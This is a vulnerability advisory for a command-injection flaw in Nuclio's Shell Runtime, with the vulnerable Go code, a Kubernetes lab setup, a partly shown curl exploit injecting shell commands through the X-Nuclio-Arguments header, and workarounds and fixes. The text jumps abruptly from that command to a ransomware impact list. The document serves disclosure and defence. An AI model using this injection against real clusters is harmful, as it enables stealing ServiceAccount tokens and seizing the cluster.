  "details": "## Summary\n\nThis vulnerability exists in Nuclio\u0027s Shell Runtime component, allowing attackers with function invocation permissions to inject malicious commands via HTTP request headers, execute arbitrary code with root privileges in function containers, steal ServiceAccount Tokens with cluster-admin level permissions, and ultimately achieve complete control over the entire Kubernetes cluster. Recommended CWE classification: CWE-78 (OS Command Injection).\n\nNuclio Shell Runtime processes the `X-Nuclio-Arguments` HTTP header without validation or escaping, directly concatenating user input into shell commands executed via `sh -c`. This allows arbitrary command injection, enabling attackers to read sensitive files (including ServiceAccount tokens) and access the Kubernetes API with cluster-level privileges.\n\n## Details\n\n### Vulnerability Description\n\nThe Nuclio Shell Runtime component contains a critical command injection vulnerability in how it processes user-supplied arguments. When a function is invoked via HTTP, the runtime reads the `X-Nuclio-Arguments` header and directly incorporates its value into shell commands without any validation or sanitization.\n\n### Root Cause Analysis\n\n**Vulnerable Code Location 1:** `pkg/processor/runtime/shell/runtime.go:289-297`\n\n```go\nfunc (s *shell) getCommandArguments(event nuclio.Event) []string {\n    arguments := event.GetHeaderString(headers.Arguments)\n\n    if arguments == \"\" {\n        arguments = s.configuration.Arguments\n    }\n\n    return strings.Split(arguments, \" \")  // No validation performed\n}\n```\n\nThe function retrieves the `X-Nuclio-Arguments` header value and splits it by spaces without any validation. Shell metacharacters like `;`, `|`, `\u0026\u0026`, backticks, and `$()` are not filtered or escaped.\n\n**Vulnerable Code Location 2:** `pkg/processor/runtime/shell/runtime.go:204-213`\n\n```go\nif s.commandInPath {\n    // if the command is an executable, run it as a command with sh -c.\n    cmd = exec.CommandContext(context, \"sh\", \"-c\", strings.Join(command, \" \"))\n} else {\n    // if the command is a shell script run it with sh(without -c).\n    cmd = exec.CommandContext(context, \"sh\", command...)\n}\n\ncmd.Stdin = strings.NewReader(string(event.GetBody()))\n```\n\nThe runtime joins the command array (which includes user-controlled arguments) into a single string and executes it using `sh -c`. This execution mode interprets shell metacharacters, enabling command injection.\n\n### Attack Flow\n\n1. Attacker sends HTTP request to Nuclio function with malicious `X-Nuclio-Arguments` header\n2. Runtime extracts header value without validation\n3. Malicious payload is concatenated into shell command\n4. Command is executed via `sh -c` with root privileges\n5. Attacker executes arbitrary commands (e.g., reading ServiceAccount token)\n6. Attacker uses stolen token to access Kubernetes API with cluster-admin privileges\n\n## PoC\n\n### Environment Setup\n\n**Prerequisites:**\n- Docker installed\n- kubectl installed\n- Helm 3.x installed\n- 8GB RAM minimum\n\n**Step 1: Create Kubernetes Cluster**\n\n```bash\n# Install Kind\ncurl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64\nchmod +x ./kind\nsudo mv ./kind /usr/local/bin/kind\n\n# Create cluster with registry configuration\ncat \u003e kind-config.yaml \u003c\u003cEOF\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n- role: worker\nEOF\n\nkind create cluster --name nuclio-test --config kind-config.yaml\n```\n\n**Step 2: Setup Local Registry**\n\n```bash\n# Start registry container\ndocker run -d -p 5000:5000 --name registry --network kind registry:2\ndocker network connect kind registry\n\n# Configure containerd on worker node\ndocker exec nuclio-test-worker bash -c \u0027cat \u003e\u003e /etc/containerd/config.toml \u003c\u003c EOF\n\n[plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"registry:5000\"]\n  endpoint = [\"http://registry:5000\"]\n[plugins.\"io.containerd.grpc.v1.cri\".registry.configs.\"registry:5000\".tls]\n  insecure_skip_verify = true\nEOF\u0027\n\ndocker exec nuclio-test-worker systemctl restart containerd\n```\n\n**Step 3: Install Nuclio**\n\n```bash\n# Add Helm repository\nhelm repo add nuclio https://nuclio.github.io/nuclio/charts\nhelm repo update\n\n# Install Nuclio 1.15.17\nhelm install nuclio nuclio/nuclio \\\n  --namespace nuclio \\\n  --create-namespace \\\n  --set registry.pushPullUrl=registry:5000\n\n# Wait for pods to be ready\nkubectl wait --for=condition=ready pod -l app.kubernetes.io/name=nuclio -n nuclio --timeout=300s\n```\n\n**Step 4: Deploy Vulnerable Function**\n\n```bash\n# Create shell script\ncat \u003e echo.sh \u003c\u003c\u0027EOF\u0027\n#!/bin/sh\necho \"Response from shell function\"\nEOF\nchmod +x echo.sh\n\n# Create project\nkubectl apply -f - \u003c\u003cEOF\napiVersion: nuclio.io/v1beta1\nkind: NuclioProject\nmetadata:\n  name: default\n  namespace: nuclio\nspec:\n  displayName: Default Project\nEOF\n\n# Deploy function\nnuctl deploy shell-func \\\n  --path echo.sh \\\n  --runtime shell \\\n  --namespace nuclio \\\n  --registry localhost:5000 \\\n  --run-registry registry:5000 \\\n  --project-name default\n\n# Verify deployment\nkubectl -n nuclio get pods -l nuclio.io/function-name=shell-func\n```\n\n### Exploitation\n\n**Test 1: Verify Command Injection**\n\n```bash\nkubectl run -n nuclio exploit-test \\\n  --image=curlimages/curl:latest \\\n  --rm -i --restart=Never -- \\\n  curl -s -X POST \\\n  -H \"Content-Type: text/plain\" \\\n  -H \"x-nuclio-arguments: ;

Encrypts persistent volumes\n4. Demands ransom for decryption keys\n\n## Severity\n\n**CVSS v3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\n\n**CVSS Score:** 9.1 (Critical)\n\n**Justification:**\n- **Attack Vector (Network):** Exploitable remotely via HTTP\n- **Attack Complexity (Low):** No special conditions required\n- **Privileges Required (Low):** Only function invocation permission needed\n- **User Interaction (None):** Fully automated exploitation\n- **Scope (Changed):** Breaks out of function container to cluster level\n- **Confidentiality (High):** Complete access to all secrets\n- **Integrity (High):** Full control over cluster resources\n- **Availability (Low):** Limited direct availability impact\n\n## Affected Versions\n\n- Nuclio: All versions up to and including 1.15.19\n- Component: Shell Runtime (`pkg/processor/runtime/shell`)\n\nThe vulnerability exists in all versions that include the Shell Runtime component, as the vulnerable code pattern has been present since the feature\u0027s introduction.\n\n## Patched Versions\n\nNo patch is currently available. Users should implement workarounds until an official fix is released.\n\n## Workarounds\n\n### Immediate Mitigation (Choose One)\n\n**Option 1: Disable Shell Runtime**\n\nAdd to Nuclio platform configuration:\n\n```yaml\nplatformConfig:\n  runtimes:\n    shell:\n      enabled: false\n```\n\nThis completely disables the vulnerable component but breaks existing Shell Runtime functions.\n\n**Option 2: Restrict Function Deployment**\n\nLimit who can deploy functions using RBAC:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: nuclio-function-deployer\n  namespace: nuclio\nrules:\n- apiGroups: [\"nuclio.io\"]\n  resources: [\"nucliofunctions\"]\n  verbs: [\"create\", \"update\", \"patch\"]\n  # Only grant to trusted users\n```\n\nRemove default function deployment permissions from untrusted users.\n\n**Option 3: Network Isolation**\n\nRestrict egress traffic from function pods:\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: nuclio-processor-egress\n  namespace: nuclio\nspec:\n  podSelector:\n    matchLabels:\n      nuclio.io/component: processor\n  policyTypes:\n  - Egress\n  egress:\n  - to:\n    - podSelector: {}\n    ports:\n    - protocol: TCP\n      port: 443  # Only allow HTTPS to cluster API\n```\n\nThis limits the attacker\u0027s ability to exfiltrate data but doesn\u0027t prevent the initial exploitation.\n\n### Long-Term Fixes\n\n**Fix 1: Input Validation**\n\nImplement strict validation in `getCommandArguments`:\n\n```go\nimport \"regexp\"\n\nvar argumentsRegex = regexp.MustCompile(`^[a-zA-Z0-9_\\-=., ]+$`)\n\nfunc (s *shell) getCommandArguments(event nuclio.Event) []string {\n    arguments := event.GetHeaderString(headers.Arguments)\n\n    if arguments == \"\" {\n        arguments = s.configuration.Arguments\n    }\n\n    if !argumentsRegex.MatchString(arguments) {\n        s.Logger.ErrorWith(\"Invalid arguments: contains unsafe characters\")\n        return []string{}\n    }\n\n    return strings.Split(arguments, \" \")\n}\n```\n\n**Fix 2: Remove sh -c Execution**\n\nUse parameterized command execution:\n\n```go\nfunc (s *shell) processEvent(context context.Context,\n    command []string,\n    event nuclio.Event,\n    responseChan chan nuclio.Response) {\n\n    var cmd *exec.Cmd\n\n    if len(command) \u003e 0 {\n        cmd = exec.CommandContext(context, command[0], command[1:]...)\n    } else {\n        // Handle error\n        return\n    }\n\n    cmd.Stdin = strings.NewReader(string(event.GetBody()))\n    // ... rest of code\n}\n```\n\n**Fix 3: Limit ServiceAccount Permissions**\n\nCreate restricted ServiceAccount for function pods:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: nuclio-function-sa\n  namespace: nuclio\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: nuclio-function-role\n  namespace: nuclio\nrules:\n- apiGroups: [\"\"]\n  resources: [\"configmaps\"]\n  verbs: [\"get\", \"list\"]\n# Do not grant secrets or cross-namespace access\n```\n\n## Resources\n\n- Nuclio GitHub: https://github.com/nuclio/nuclio\n- CWE-78: OS Command Injection: https://cwe.mitre.org/data/definitions/78.html\n- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection\n- Kubernetes Security Best Practices: https://kubernetes.io/docs/concepts/security/\n\n## Credits\ncredit for:\n@b0b0haha (603571786@qq.com)\n@j311yl0v3u (2439839508@qq.com)",
